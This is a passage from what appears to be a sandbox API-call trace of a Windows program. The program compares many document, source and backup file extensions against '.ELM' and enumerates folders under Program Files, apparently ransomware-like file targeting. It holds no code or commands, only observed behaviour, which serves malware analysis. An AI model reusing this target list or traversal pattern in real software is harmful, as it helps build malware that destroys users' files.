lpString2=".ELM") returned -1 [0036.967] lstrlenW (lpString=".ai7") returned 4 [0036.967] lstrcmpiW (lpString1=".ai7", lpString2=".ELM") returned -1 [0036.967] lstrlenW (lpString=".ai8") returned 4 [0036.967] lstrcmpiW (lpString1=".ai8", lpString2=".ELM") returned -1 [0036.967] lstrlenW (lpString=".anim") returned 5 [0036.967] lstrcmpiW (lpString1=".anim", lpString2="D.ELM") returned -1 [0036.967] lstrlenW (lpString=".arw") returned 4 [0036.967] lstrcmpiW (lpString1=".arw", lpString2=".ELM") returned -1 [0036.967] lstrlenW (lpString=".as") returned 3 [0036.967] lstrcmpiW (lpString1=".as", lpString2="ELM") returned -1 [0036.968] lstrlenW (lpString=".asa") returned 4 [0036.968] lstrcmpiW (lpString1=".asa", lpString2=".ELM") returned -1 [0036.968] lstrlenW (lpString=".asc") returned 4 [0036.968] lstrcmpiW (lpString1=".asc", lpString2=".ELM") returned -1 [0036.968] lstrlenW (lpString=".ascx") returned 5 [0036.968] lstrcmpiW (lpString1=".ascx", lpString2="D.ELM") returned -1 [0036.968] lstrlenW (lpString=".asm") returned 4 [0036.968] lstrcmpiW (lpString1=".asm", lpString2=".ELM") returned -1 [0036.968] lstrlenW (lpString=".asmx") returned 5 [0036.968] lstrcmpiW (lpString1=".asmx", lpString2="D.ELM") returned -1 [0036.968] lstrlenW (lpString=".asp") returned 4 [0036.968] lstrcmpiW (lpString1=".asp", lpString2=".ELM") returned -1 [0036.968] lstrlenW (lpString=".aspx") returned 5 [0036.968] lstrcmpiW (lpString1=".aspx", lpString2="D.ELM") returned -1 [0036.968] lstrlenW (lpString=".asr") returned 4 [0036.968] lstrcmpiW (lpString1=".asr", lpString2=".ELM") returned -1 [0036.968] lstrlenW (lpString=".asx") returned 4 [0036.968] lstrcmpiW (lpString1=".asx", lpString2=".ELM") returned -1 [0036.968] lstrlenW (lpString=".avi") returned 4 [0036.968] lstrcmpiW (lpString1=".avi", lpString2=".ELM") returned -1 [0036.968] lstrlenW (lpString=".avs") returned 4 [0036.968] lstrcmpiW (lpString1=".avs", lpString2=".ELM") returned -1 [0036.968] lstrlenW (lpString=".backup") returned 7 [0036.968] lstrcmpiW (lpString1=".backup", lpString2="NED.ELM") returned -1 [0036.968] lstrlenW (lpString=".bak") returned 4 [0036.968] lstrcmpiW (lpString1=".bak", lpString2=".ELM") returned -1 [0036.968] lstrlenW (lpString=".bay") returned 4 [0036.968] lstrcmpiW (lpString1=".bay", lpString2=".ELM") returned -1 [0036.968] lstrlenW (lpString=".bd") returned 3 [0036.968] lstrcmpiW (lpString1=".bd", lpString2="ELM") returned -1 [0036.968] lstrlenW (lpString=".bin") returned 4 [0036.968] lstrcmpiW (lpString1=".bin", lpString2=".ELM") returned -1 [0036.968] lstrlenW (lpString=".bmp") returned 4 [0036.968] lstrcmpiW (lpString1=".bmp", lpString2=".ELM") returned -1 [0036.968] lstrlenW (lpString=".bz2") returned 4 [0036.968] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0036.968] lstrlenW (lpString=".c") returned 2 [0036.968] lstrcmpiW (lpString1=".c", lpString2="LM") returned -1 [0036.968] lstrlenW (lpString=".cdr") returned 4 [0036.968] lstrcmpiW (lpString1=".cdr", lpString2=".ELM") returned -1 [0036.968] lstrlenW (lpString=".cer") returned 4 [0036.968] lstrcmpiW (lpString1=".cer", lpString2=".ELM") returned -1 [0036.968] lstrlenW (lpString=".cf") returned 3 [0036.968] lstrcmpiW (lpString1=".cf", lpString2="ELM") returned -1 [0036.968] lstrlenW (lpString=".cfc") returned 4 [0036.968] lstrcmpiW (lpString1=".cfc", lpString2=".ELM") returned -1 [0036.968] lstrlenW (lpString=".cfm") returned 4 [0036.968] lstrcmpiW (lpString1=".cfm", lpString2=".ELM") returned -1 [0036.968] lstrlenW (lpString=".cfml") returned 5 [0036.968] lstrcmpiW (lpString1=".cfml", lpString2="D.ELM") returned -1 [0036.968] lstrlenW (lpString=".cfu") returned 4 [0036.968] lstrcmpiW (lpString1=".cfu", lpString2=".ELM") returned -1 [0036.968] lstrlenW (lpString=".chm") returned 4 [0036.968] lstrcmpiW (lpString1=".chm", lpString2=".ELM") returned -1 [0036.968] lstrlenW (lpString=".cin") returned 4 [0036.968] lstrcmpiW (lpString1=".cin", lpString2=".ELM") returned -1 [0036.969] lstrlenW (lpString=".class") returned 6 [0036.969] lstrcmpiW (lpString1=".class", lpString2="ED.ELM") returned -1 [0036.969] lstrlenW (lpString=".clx") returned 4 [0036.969] lstrcmpiW (lpString1=".clx", lpString2=".ELM") returned -1 [0036.969] lstrlenW (lpString=".config") returned 7 [0036.969] lstrcmpiW (lpString1=".config", lpString2="NED.ELM") returned -1 [0036.969] lstrlenW (lpString=".cpp") returned 4 [0036.969] lstrcmpiW (lpString1=".cpp", lpString2=".ELM") returned -1 [0036.969] lstrlenW (lpString=".cr2") returned 4 [0036.969] lstrcmpiW (lpString1=".cr2", lpString2=".ELM") returned -1 [0036.969] lstrlenW (lpString=".crt") returned 4 [0036.969] lstrcmpiW (lpString1=".crt", lpString2=".ELM") returned -1 [0036.969] lstrlenW (lpString=".crw") returned 4 [0036.969] lstrcmpiW (lpString1=".crw", lpString2=".ELM") returned -1 [0036.969] lstrlenW (lpString=".cs") returned 3 [0036.969] lstrcmpiW (lpString1=".cs", lpString2="ELM") returned -1 [0036.969] lstrlenW (lpString=".css") returned 4 [0036.969] lstrcmpiW (lpString1=".css", lpString2=".ELM") returned -1 [0036.969] lstrlenW (lpString=".csv") returned 4 [0036.969] lstrcmpiW (lpString1=".csv", lpString2=".ELM") returned -1 [0036.969] lstrlenW (lpString=".cub") returned 4 [0036.969] lstrcmpiW (lpString1=".cub", lpString2=".ELM") returned -1 [0036.969] lstrlenW (lpString=".dae") returned 4 [0036.969] lstrcmpiW (lpString1=".dae", lpString2=".ELM") returned -1 [0036.969] lstrlenW (lpString=".dat") returned 4 [0036.969] lstrcmpiW (lpString1=".dat", lpString2=".ELM") returned -1 [0036.969] lstrlenW (lpString=".db") returned 3 [0036.969] lstrcmpiW (lpString1=".db", lpString2="ELM") returned -1 [0036.969] lstrlenW (lpString=".dbf") returned 4 [0036.969] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0036.969] lstrlenW (lpString=".dbx") returned 4 [0036.969] lstrcmpiW (lpString1=".dbx", lpString2=".ELM") returned -1 [0036.969] lstrlenW (lpString=".dc3") returned 4 [0036.969] lstrcmpiW (lpString1=".dc3", lpString2=".ELM") returned -1 [0036.969] lstrlenW (lpString=".dcm") returned 4 [0036.969] lstrcmpiW (lpString1=".dcm", lpString2=".ELM") returned -1 [0036.969] lstrlenW (lpString=".dcr") returned 4 [0036.969] lstrcmpiW (lpString1=".dcr", lpString2=".ELM") returned -1 [0036.969] lstrlenW (lpString=".der") returned 4 [0036.969] lstrcmpiW (lpString1=".der", lpString2=".ELM") returned -1 [0036.969] lstrlenW (lpString=".dib") returned 4 [0036.969] lstrcmpiW (lpString1=".dib", lpString2=".ELM") returned -1 [0036.969] lstrlenW (lpString=".dic") returned 4 [0036.969] lstrcmpiW (lpString1=".dic", lpString2=".ELM") returned -1 [0036.969] lstrlenW (lpString=".dif") returned 4 [0036.969] lstrcmpiW (lpString1=".dif", lpString2=".ELM") returned -1 [0036.970] lstrlenW (lpString=".divx") returned 5 [0036.970] lstrcmpiW (lpString1=".divx", lpString2="D.ELM") returned -1 [0036.970] lstrlenW (lpString=".djvu") returned 5 [0036.970] lstrcmpiW (lpString1=".djvu", lpString2="D.ELM") returned -1 [0036.970] lstrlenW (lpString=".dng") returned 4 [0036.970] lstrcmpiW (lpString1=".dng", lpString2=".ELM") returned -1 [0036.970] lstrlenW (lpString=".doc") returned 4 [0036.970] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0036.970] lstrlenW (lpString=".docm") returned 5 [0036.970] lstrcmpiW (lpString1=".docm", lpString2="D.ELM") returned -1 [0036.970] lstrlenW (lpString=".docx") returned 5 [0036.970] lstrcmpiW (lpString1=".docx", lpString2="D.ELM") returned -1 [0036.970] lstrlenW (lpString=".dot") returned 4 [0036.970] lstrcmpiW (lpString1=".dot", lpString2=".ELM") returned -1 [0036.970] lstrlenW (lpString=".dotm") returned 5 [0036.970] lstrcmpiW (lpString1=".dotm", lpString2="D.ELM") returned -1 [0036.970] lstrlenW (lpString=".dotx") returned 5 [0036.970] lstrcmpiW (lpString1=".dotx", lpString2="D.ELM") returned -1 [0036.970] lstrlenW (lpString=".dpx") returned 4 [0036.970] lstrcmpiW (lpString1=".dpx", lpString2=".ELM") returned -1 [0036.970] lstrlenW (lpString=".dqy") returned 4 [0036.970] lstrcmpiW (lpString1=".dqy", lpString2=".ELM") returned -1 [0036.970] lstrlenW (lpString=".dsn") returned 4 [0036.970] lstrcmpiW (lpString1=".dsn", lpString2=".ELM") returned -1 [0036.970] lstrlenW (lpString=".dt") returned 3 [0036.970] lstrcmpiW (lpString1=".dt", lpString2="ELM") returned -1 [0036.970] lstrlenW (lpString=".dtd") returned 4 [0036.970] lstrcmpiW (lpString1=".dtd", lpString2=".ELM") returned -1 [0036.970] lstrlenW (lpString=".dwg") returned 4 [0036.970] lstrcmpiW (lpString1=".dwg", lpString2=".ELM") returned -1 [0036.970] lstrlenW (lpString=".dwt") returned 4 [0036.970] lstrcmpiW (lpString1=".dwt", lpString2=".ELM") returned -1 [0036.970] lstrlenW (lpString=".dx") returned 3 [0036.970] lstrcmpiW (lpString1=".dx", lpString2="ELM") returned -1 [0036.970] lstrlenW (lpString=".dxf") returned 4 [0036.970] lstrcmpiW (lpString1=".dxf", lpString2=".ELM") returned -1 [0036.970] lstrlenW (lpString=".edml") returned 5 [0036.970] lstrcmpiW (lpString1=".edml", lpString2="D.ELM") returned -1 [0036.970] lstrlenW (lpString=".efd") returned 4 [0036.970] lstrcmpiW (lpString1=".efd", lpString2=".ELM") returned -1 [0036.970] lstrlenW (lpString=".elf") returned 4 [0036.970] lstrcmpiW (lpString1=".elf", lpString2=".ELM") returned -1 [0036.970] lstrlenW (lpString=".emf") returned 4 [0036.970] lstrcmpiW (lpString1=".emf", lpString2=".ELM") returned 1 [0036.970] lstrlenW (lpString=".emz") returned 4 [0036.971] lstrcmpiW (lpString1=".emz", lpString2=".ELM") returned 1 [0036.971] lstrlenW (lpString=".epf") returned 4 [0036.971] lstrcmpiW (lpString1=".epf", lpString2=".ELM") returned 1 [0036.971] lstrlenW (lpString=".eps") returned 4 [0036.971] lstrcmpiW (lpString1=".eps", lpString2=".ELM") returned 1 [0036.971] lstrlenW (lpString=".epsf") returned 5 [0036.971] lstrcmpiW (lpString1=".epsf", lpString2="D.ELM") returned -1 [0036.971] lstrlenW (lpString=".epsp") returned 5 [0036.971] lstrcmpiW (lpString1=".epsp", lpString2="D.ELM") returned -1 [0036.971] lstrlenW (lpString=".erf") returned 4 [0036.971] lstrcmpiW (lpString1=".erf", lpString2=".ELM") returned 1 [0036.971] lstrlenW (lpString=".exr") returned 4 [0036.971] lstrcmpiW (lpString1=".exr", lpString2=".ELM") returned 1 [0036.971] lstrlenW (lpString=".f4v") returned 4 [0036.971] lstrcmpiW (lpString1=".f4v", lpString2=".ELM") returned 1 [0036.971] lstrlenW (lpString=".fido") returned 5 [0036.971] lstrcmpiW (lpString1=".fido", lpString2="D.ELM") returned -1 [0036.971] lstrlenW (lpString=".flm") returned 4 [0036.971] lstrcmpiW (lpString1=".flm", lpString2=".ELM") returned 1 [0036.971] lstrlenW (lpString=".flv") returned 4 [0036.971] lstrcmpiW (lpString1=".flv", lpString2=".ELM") returned 1 [0036.971] lstrlenW (lpString=".frm") returned 4 [0036.971] lstrcmpiW (lpString1=".frm", lpString2=".ELM") returned 1 [0036.971] lstrlenW (lpString=".fxg") returned 4 [0036.971] lstrcmpiW (lpString1=".fxg", lpString2=".ELM") returned 1 [0036.971] lstrlenW (lpString=".geo") returned 4 [0036.971] lstrcmpiW (lpString1=".geo", lpString2=".ELM") returned 1 [0036.971] lstrlenW (lpString=".gif") returned 4 [0036.971] lstrcmpiW (lpString1=".gif", lpString2=".ELM") returned 1 [0036.971] lstrlenW (lpString=".grs") returned 4 [0036.971] lstrcmpiW (lpString1=".grs", lpString2=".ELM") returned 1 [0036.971] lstrlenW (lpString=".gz") returned 3 [0036.971] lstrcmpiW (lpString1=".gz", lpString2="ELM") returned -1 [0036.971] lstrlenW (lpString=".h") returned 2 [0036.971] lstrcmpiW (lpString1=".h", lpString2="LM") returned -1 [0036.971] lstrlenW (lpString=".hdr") returned 4 [0036.971] lstrcmpiW (lpString1=".hdr", lpString2=".ELM") returned 1 [0036.971] lstrlenW (lpString=".hpp") returned 4 [0036.971] lstrcmpiW (lpString1=".hpp", lpString2=".ELM") returned 1 [0036.971] lstrlenW (lpString=".hta") returned 4 [0036.971] lstrcmpiW (lpString1=".hta", lpString2=".ELM") returned 1 [0036.971] lstrlenW (lpString=".htc") returned 4 [0036.971] lstrcmpiW (lpString1=".htc", lpString2=".ELM") returned 1 [0036.971] lstrlenW (lpString=".htm") returned 4 [0036.971] lstrcmpiW (lpString1=".htm", lpString2=".ELM") returned 1 [0036.972] lstrlenW (lpString=".html") returned 5 [0036.972] lstrcmpiW (lpString1=".html", lpString2="D.ELM") returned -1 [0036.972] lstrlenW (lpString=".icb") returned 4 [0036.972] lstrcmpiW (lpString1=".icb", lpString2=".ELM") returned 1 [0036.972] lstrlenW (lpString=".ics") returned 4 [0036.972] lstrcmpiW (lpString1=".ics", lpString2=".ELM") returned 1 [0036.972] lstrlenW (lpString=".iff") returned 4 [0036.972] lstrcmpiW (lpString1=".iff", lpString2=".ELM") returned 1 [0036.972] lstrlenW (lpString=".inc") returned 4 [0036.972] lstrcmpiW (lpString1=".inc", lpString2=".ELM") returned 1 [0036.972] lstrlenW (lpString=".indd") returned 5 [0036.972] lstrcmpiW (lpString1=".indd", lpString2="D.ELM") returned -1 [0036.972] lstrlenW (lpString=".ini") returned 4 [0036.972] FindClose (in: hFindFile=0x3ed12f8 | out: hFindFile=0x3ed12f8) returned 1 [0036.972] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x880000) returned 1 [0036.972] FindNextFileW (in: hFindFile=0x3ed11f8, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR", cAlternateFileName="")) returned 1 [0036.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR") returned 64 [0036.972] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0036.972] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*", lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ed12f8 [0037.292] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.292] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0037.293] FindClose (in: hFindFile=0x3ed12f8 | out: hFindFile=0x3ed12f8) returned 1 [0037.293] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x880000) returned 1 [0037.293] FindNextFileW (in: hFindFile=0x3ed11f8, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE", cAlternateFileName="")) returned 1 [0037.293] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0037.293] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*", lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ed12f8 [0037.293] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.293] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0037.293] FindClose (in: hFindFile=0x3ed12f8 | out: hFindFile=0x3ed12f8) returned 1 [0037.293] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x880000) returned 1 [0037.293] FindNextFileW (in: hFindFile=0x3ed11f8, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE", cAlternateFileName="")) returned 1 [0037.293] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0037.293] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*", lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ed12f8 [0037.525] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.525] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0037.525] FindClose (in: hFindFile=0x3ed12f8 | out: hFindFile=0x3ed12f8) returned 1 [0037.525] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x880000) returned 1 [0037.525] FindNextFileW (in: hFindFile=0x3ed11f8, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN", cAlternateFileName="")) returned 1 [0037.525] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0037.526] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*", lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ed12f8 [0037.526] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.526] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0037.526] FindClose (in: hFindFile=0x3ed12f8 | out: hFindFile=0x3ed12f8) returned 1 [0037.526] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x880000) returned 1 [0037.526] FindNextFileW (in: hFindFile=0x3ed11f8, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1 [0037.526] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0037.526] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*", lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ed12f8 [0037.822] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.823] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0037.823] FindClose (in: hFindFile=0x3ed12f8 | out: hFindFile=0x3ed12f8) returned 1 [0037.823] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x880000) returned 1 [0037.823] FindNextFileW (in: hFindFile=0x3ed11f8, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE", cAlternateFileName="")) returned 1 [0037.823] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0037.823] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft 